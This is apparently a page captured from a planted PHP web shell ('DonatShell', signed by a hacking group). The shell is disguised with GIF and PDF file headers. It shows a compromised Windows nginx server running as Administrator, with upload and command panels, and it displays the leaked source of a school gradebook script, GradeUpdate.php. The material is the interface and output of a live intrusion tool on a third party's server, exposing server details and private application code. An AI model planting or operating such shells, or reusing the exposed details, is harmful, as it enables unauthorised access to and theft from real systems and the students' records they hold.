GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Gradebook/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Gradebook//GradeUpdate.php
<?
// Gradebook/GradeUpdate.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
#setDebugOn();
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
include('application.phpinc');

#$GradeUpdateDEBUG = true;

if ( !isset($GradeUpdateDEBUG) ) $GradeUpdateDEBUG = false;
if ( !isset($js) ) $js = '';
//$js .= ',form.js,Gradebook/GradeEvaluation.js';
if ( !isset($isGB) ) $isGB = true;

#d_Var('$_GET',$_GET,'d');
#d_Var('$_POST',$_POST,'d');
	
// Get form values.
$f_classId = formValue('classId');
include('Class/CourseInfo.phpinc');
$sId = formValue('sId');
$uId = formValue('uId');
$postGrades = formValue('postGrades');
#d_Var('f_classId',$f_classId,'d');
#d_Var('sId',$sId,'d');
#d_Var('uId',$uId,'d');

$isGB = true;

include('Gradebook/evaluationInfo.phpinc');
if ( $GradeUpdateDEBUG ) { d_On(); }
d_Var('$eInfo',$eInfo,'');
if ( $GradeUpdateDEBUG ) { d_Off(); }

include('Gradebook/evaluationStudentInfo.phpinc');
#d_Var('$sInfo',$sInfo,'d');

$studentTotalPoints = 0; // Student's total points.
$criticalEvalsFailedCount = 0;

$ngAssignments = '';		// Ungraded.
$nsAssignments = '';		// Current.
$nsodAssignments = '';	// Late.
$nsndAssignments = '';	// Future.
$zeroAssignments = '';	// 
$pointAssignments = '';	// 
$dateParts = explode(' ',currentDateTime());
$currentDate = valid_date($dateParts[0]); // Throw away time.
foreach ( $eInfo as $eId => $eData ) {
	if ( $GradeUpdateDEBUG ) { d_On(); }
	d_Var($eInfo[$eId]['title'].' - '.$eInfo[$eId]['description'].'$eId',$eId,'/aA');
	d_Var("\$eInfo[$eId]",$eInfo[$eId],'l');
	$assignmentPoints = $eInfo[$eId]['points'];
	d_Var('$assignmentPoints',$assignmentPoints);
	include('Gradebook/ClassGradebookEvaluationData.phpinc'); // Get data for this assignment. $studentTotalPoints is calculated.
	if ( $GradeUpdateDEBUG ) { d_Off(); }
	if ( is_numeric($grade) ) { $gradePoints = $grade; } else { $gradePoints = 0; }
	d_Var('$gradePoints',$gradePoints);
	if ( $eData['critical'] ) {
		if ( $gradePoints / $assignmentPoints < .70 ) { $criticalEvalsFailedCount++; }
	}
	// Calculate $weeksLate.
	$weeksLate = 0;
	$dateParts = explode(' ',$eInfo[$eId]['due']);
	$dateDue = valid_date($dateParts[0]); // Throw away time.
	d_Var('$dateDue',$dateDue,'');
	$dateDiff = strtotime($currentDate) - strtotime($dateDue);
	d_Var('$dateDiff',$dateDiff,'');
	$dayDiff = intval($dateDiff / (60 * 60 * 24));
	d_Var('$dayDiff',$dayDiff,'');
	if ( $dayDiff > 0 ) {
		if ( $dayDiff > 1 ) { $pld = 's'; } else { $pld = ''; }
		$weeksLate = intval( ($dayDiff-1) / 7);
		if ( $weeksLate > 1 ) { $plw = 's'; } else { $plw = ''; }
	} else {
		$weeksLate = -1;
	}
	if ( $GradeUpdateDEBUG ) { d_On(); }
	if ( isset($gradeRow['gradeComment']) && strstr($gradeRow['gradeComment'],'by the date it was due') == false ) {
		$notSubmitted = false;
	} else {
		$notSubmitted = true;
	}
	d_Var('$weeksLate',$weeksLate);
	if ( $grade === 'ns' || $notSubmitted ) {
		if ( ( $grade === 'ns' || $notSubmitted ) && $eData['title'] !=='SP' && !$eInfo[$eId]['extra'] ) {
			if ( $weeksLate > 0 ) {
				// Late.
				$nsodAssignments = listAppend($nsodAssignments,$eData['title']);
			} elseif ( $weeksLate == 0 ) {
				// Current.
				$nsAssignments = listAppend($nsAssignments,$eData['title']);
			} else {
				// Future.
				$nsndAssignments = listAppend($nsndAssignments,$eData['title']);
			}
		}
		//$evalClass .= ' bold';
	}
	if ( $grade === 'ng' ) {
		$ngAssignments = listAppend($ngAssignments,$eData['title']);
		//$evalClass .= ' bold';
	}
	if ( $grade === 0 ) {
		$zeroAssignments = listAppend($zeroAssignments,$eData['title']);
	}
	if ( $grade > 0 && $grade < $eData['points'] ) {
		$pointAssignments = listAppend($pointAssignments,$eData['title']);
	}
	if ( $GradeUpdateDEBUG ) { d_Off(); }
	if ( !$criticalEvalsFailedCount ) {
		$finalGrade = gradeLetterAC(gradePercentage($studentTotalPoints,$evaluationTotalGradedPoints));
		if ( substr($finalGrade,0,1) == 'A' || substr($finalGrade,0,1) == 'F' ) {
			$pronounLetterGrade = 'an';
		} else {
			$pronounLetterGrade = 'a';
		}
		$finalGrade = gradeClass($finalGrade);
		$finalTitle = '';
	} else {
		// Did not do or did not pass critical eval.
		$finalGrade = str_replace('gradeF','gradeF gradeFCritical',gradeClass(gradeLetterAC(0,$evaluationTotalGradedPoints)));
		$finalTitle = ' Fail because '.$criticalEvalsFailedCount;
		$finalTitle .= ' critical evaluation';
		if ( $criticalEvalsFailedCount > 1 ) { $finalTitle .= 's'; }
		if ( $criticalEvalsFailedCount == 1 ) { $finalTitle .= ' was'; } else { $finalTitle .= ' were'; }
		$finalTitle .= ' not passed.';
	}
	if ( $GradeUpdateDEBUG ) { d_On(); }
	d_Var('$criticalEvalsFailedCount',$criticalEvalsFailedCount);
	if ( $GradeUpdateDEBUG ) { d_Off(); }
}

#d_Var('$postGrades',$postGrades,'d');
if ($postGrades) {
	require('GradeUpdate_GradeFinal.phpinc');
} else {
	require('GradeUpdate_GradeUpdate.phpinc');
}
?>

Anon7 - 2022
AnonSec Team